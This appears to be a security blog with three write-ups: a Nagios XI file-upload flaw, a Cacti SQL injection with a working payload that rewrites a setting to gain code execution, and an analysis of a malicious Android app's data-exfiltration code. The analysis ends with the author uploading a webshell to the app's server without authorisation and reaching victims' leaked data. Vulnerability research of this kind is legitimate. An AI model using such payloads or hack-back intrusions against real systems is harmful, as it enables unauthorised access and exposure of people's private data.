CVE-2021-3277 – Nagios XI <= 5.7.5 Remote Code Execution

Nagios XI <= 5.7.5 allows authenticated admins to upload arbitrary files due to improper validation of the rename functionality in custom-includes component.
With the custom includes components we can upload various file types such as .css, .js, .png, and more.
After uploading an image file, we can rename the file, the renaming code is pretty straightforward:

function rename_file()
{
    $error = false;
    $id = grab_request_var('id', '');
    $name = grab_request_var('name', '');
    $newname = stripcslashes(trim($name));
    if (empty($id) || empty($name)) { $error = true; }

    if (!$error) {
        $images = get_array_option('custom_includes_files_images');
        $i = $images[$id];

        // Rename the file and send back json
        $x = rename($i['dir'].'/'.$i['name'], $i['dir'].'/'.$newname);
        if ($x === false) {
            $error = true;
        } else {
            // Rename the database entry
            $images[$id]['name'] = $newname;
            set_array_option('custom_includes_files_images', $images);
        }  
    }

    if ($error) {
        echo json_encode(array('error' => 1, 'msg' => _('Could not rename file. Check file permissions.')));
    } else {
        echo json_encode(array('error' => 0, 'msg' => _('Renamed successfully')));
    }
}

As you can see, it takes the id of the old image, the name of the new image, and then renaming it.
There is no file name is validation at all, which allows the attacker not only to directory traversal but also to rename the file with any extension we want.
Which as a result, the attacker can upload arbitrary files.

CVE-2020-35701 – Cacti 1.2.0 – 1.2.16 SQL Injection

This one is pretty straightforward and was found pretty quick

An SQL injection in the latest version of cacti.

In order to trigger the vulnerability you just need to enter this url: cacti/data_debug.php?action=ajax_hosts&site_id=11SQLInjection

Because of how PHP behaves, the check:

if (get_request_var('site_id') > 0) {
   $sql_where = 'site_id = ' . get_request_var('site_id');
}

will pass when the parameter starts with a number, and in the end the system will try to execute the following query:

SELECT h1.*
FROM host AS h1
         INNER JOIN (SELECT DISTINCT id
                     FROM (SELECT h.*, uap0.user_id AS user0, uap1.user_id AS user1, uap2.user_id AS user2
                           FROM host AS h
                                    LEFT JOIN graph_local AS gl ON h.id = gl.host_id
                                    LEFT JOIN graph_templates_graph AS gtg ON gl.id = gtg.local_graph_id
                                    LEFT JOIN graph_templates AS gt ON gt.id = gl.graph_template_id
                                    LEFT JOIN host_template AS ht ON h.host_template_id = ht.id
                                    LEFT JOIN user_auth_perms AS uap0
                                              ON (gl.id = uap0.item_id AND uap0.type = 1 AND uap0.user_id = 1)
                                    LEFT JOIN user_auth_perms AS uap1
                                              ON (gl.host_id = uap1.item_id AND uap1.type = 3 AND uap1.user_id = 1)
                                    LEFT JOIN user_auth_perms AS uap2
                                              ON (gl.graph_template_id = uap2.item_id AND uap2.type = 4 AND
                                                  uap2.user_id = 1)
                           WHERE site_id = <strong>11sql_injection</strong>) AS rs1) AS rs2 ON rs2.id = h1.id;
select 1 # AND hostname LIKE '%hostname%' OR description LIKE '%description%' OR notes LIKE '%notes%' AND h.disabled=""
HAVING (user0 IS NULL OR (user1 IS NULL OR user2 IS NULL)) ) AS rs1 ) AS rs2
ON <a rel="noreferrer noopener" href="http://rs2.id/" target="_blank">rs2.id</a>=<a rel="noreferrer noopener" href="http://h1.id/" target="_blank">h1.id</a>
ORDER BY description LIMIT 30

If we will execute something like this:

cacti/data_debug.php?action=ajax_hosts&amp;site_id=11) AS rs1   ) AS rs2   ON rs2.id=h1.id;update settings set value='php -r "file_put_contents(\'/tmp/a\',\'aaa\'); "' where name='path_php_binary';-- -


We will manage to execute code when we will visit /cacti/host.php?action=reindex

Attacking the attackers

Introduction

One day evening while I was sitting on the couch I saw on the news that someone exposed a malicious Android application that some group of hackers built.
How did they found out the application is used for malicious proposes? well, I guess it wasn’t too hard – The hackers created a fake facebook accounts with pictures of some hot random girls and contacted Israeli guys (the “victim”) using the Facebook’s chat and told the victim that if he wants to video chat with them then he has to download the android application they like so much.
After the victim downloaded the application he finds out that nothing works, the hottie that he just talked with disappeared and left with a broken heart and his pride in his hands.

I just opened a random news website to check the application name – and find out its called “GlanceLove”.

Getting a little bit deeper

After finding the apk and download it I decompiled it using JDAX and the first thing I did is to search for an “http” string (I assumed it uses HTTP protocol to leaking data).

The thing that pops immediately from the search was that the application used the “HttpURLConnection” class, which made me pretty sure that the application used a web server to leak the data, another thing is that I didn’t see is a string of the URL it should connect to, so I needed to read some code.

One of the functions used the “HttpURLConnection”  was called m7665a:

    public static String m7665a(String str, byte[] bArr) {
        String str2;
        Throwable th;
        HttpURLConnection httpURLConnection = null;
        try {
            HttpURLConnection httpURLConnection2 = (HttpURLConnection) new URL(str).openConnection();
            try {
                httpURLConnection2.setRequestMethod(f5386b);
                httpURLConnection2.setRequestProperty(f5387c, f5388d);
                httpURLConnection2.setUseCaches(false);
                httpURLConnection2.setDoInput(true);
                httpURLConnection2.setDoOutput(true);
                DataOutputStream dataOutputStream = new DataOutputStream(httpURLConnection2.getOutputStream());
                dataOutputStream.write(bArr);
                dataOutputStream.flush();
                dataOutputStream.close();
                ...
                ...
}

So this function received 2 parameters: str which is the URL, and bArr which is the data it sends to the server. We also can see that the request method defined in the f5386b variable and the request property defined in f5387c and f5388d:

private static final String f5386b = C1559l.m7683a(new C1552g[]{C1552g.P, C1552g.O, C1552g.S, C1552g.T});
private static final String f5387c = C1559l.m7683a(new C1552g[]{C1552g.C, C1552g.o, C1552g.n, C1552g.t, C1552g.e, C1552g.n, C1552g.t}).concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.T, C1552g.y, C1552g.p, C1552g.e}));
private static final String f5388d = C1559l.m7683a(new C1552g[]{C1552g.a, C1552g.p, C1552g.p, C1552g.l, C1552g.i, C1552g.c, C1552g.a, C1552g.t, C1552g.i, C1552g.o, C1552g.n})M.concat("/x").concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.w, C1552g.w, C1552g.w})).concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.f, C1552g.o, C1552g.r, C1552g.m})).concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.u, C1552g.r, C1552g.l, C1552g.e, C1552g.n, C1552g.c, C1552g.o, C1552g.d, C1552g.e, C1552g.d}));

The attackers used ProGuard to obfuscate the strings and the functions names, which explain why I couldn’t find the URL string. Lucky me, you can see immediately what those strings contain:

private static final String f5386b = "POST"
private static final String f5387c = "Content-Type"
private static final String f5388d = "Application/x-www-form-urlencoded"

I checked which functions are using the m7665a function and the result was:

private static void m7672b(File file) {
    C1548e.m7665a(C1489a.m7489b(), C1551f.m7671a(file, C1489a.f5198i)).trim();
}
public static String m7489b() {
    return f5199j + C1489a.m7487a() + f5201l;
}
public static String m7487a() {
    C1545b c1545b = new C1545b(f5203n.getFilesDir().getAbsolutePath(), f5202m);
    if (c1545b.exists()) {
        String str = new String(c1545b.m7647a());
        if (!(str == null || str.isEmpty())) {
            return str;
        }
    }
    return f5204o;
}

So m7672b called m7665a with the URL defined at m7489b, which after translation returns “HTTP://WWW.GLANCELOVE.COM/APPS/d/p/OP.PHP” (m7487a does something but in the end it returns the f5204o which contains the website URL)

So now I know the full URL (After I test it I realized it should be in lowercase) the application connects to and have a lot of strings:

public static final String f5190a = ".ZIP"
public static final String f5191b = ".DATA"
public static final String f5192c = ".APK"
public static final byte[] f5193d = "A".getBytes();
public static final byte[] f5194e = "B".getBytes();
public static final byte[] f5195f = "F".getBytes();
public static final byte[] f5196g = "CCC".getBytes();
public static final byte[] f5197h = "D".getBytes();
public static final byte[] f5198i = "E".getBytes();
public static final String f5199j = "HTTP://"
public static final String f5200k = "TCP://";
public static final String f5201l = "/APPS/d/p/OP.PHP"
public static final String f5202m = "IP.TXT"
private static Context f5203n = App.m7476a();
private static String f5204o = "WWW.GLANCELOVE.COM"
private static byte[] f5394b = "devId="
private static byte[] f5395c = "&op="
private static byte[] f5396d = "&fName="
private static byte[] f5397e = "&data="
private static String f5398f = "true"

So a common sense is that all I need to do is to send a POST request to the URL with the parameters devId, op, fName, and data.
devId, fName, and data are pretty easy to guess, but I had no idea what I should put in the op, so I checked it:

private static byte[] m7671a(File file, byte[] bArr) {
    ...
    Object obj = new byte[(((((f5394b.length + a2.length) + f5396d.length) + a.length) + f5395c.length) + bArr.length)];
    ...
    System.arraycopy(bArr, 0, obj, (a.length + ((a2.length + f5394b.length) + f5396d.length)) + f5395c.length, bArr.length);
}
public static int m7668a(File file) {
    ...
    Object a = C1551f.m7671a(file, C1489a.f5196g);
    ...
}
private static void m7672b(File file) {
    C1548e.m7665a(C1489a.m7489b(), C1551f.m7671a(file, C1489a.f5198i)).trim();
}
private static long m7674c(File file) {
        ...
        return Long.parseLong(C1548e.m7665a(C1489a.m7489b(), C1551f.m7671a(file, C1489a.f5197h)).trim());
}

m7671a build the opId by the value which passed from the functions m7668a, m7672b and m7674c which use the values “CCC”, “E” and “D”, respectively.

I still had no idea what those values do, so I tried them all – I sent a POST request with the payload: devId=123123&op=CCC&fName=123&data=abc

And the response I got was 38, which is exactly the payload’s length I sent, so now I assumed I managed to upload my file somewhere, but I had no clue where is it in the server.

After a few educated guesses, I find out that the path is /apps/d/uploads/dev/123123/123!

Game over. I uploaded a webshell and find out that this app has been installed in more than 500[!] cellphones and it leaked more than 10GB of data full of goods.

I had to think what can I do with think what can I do with that data – I’ll leave it for another post 🙂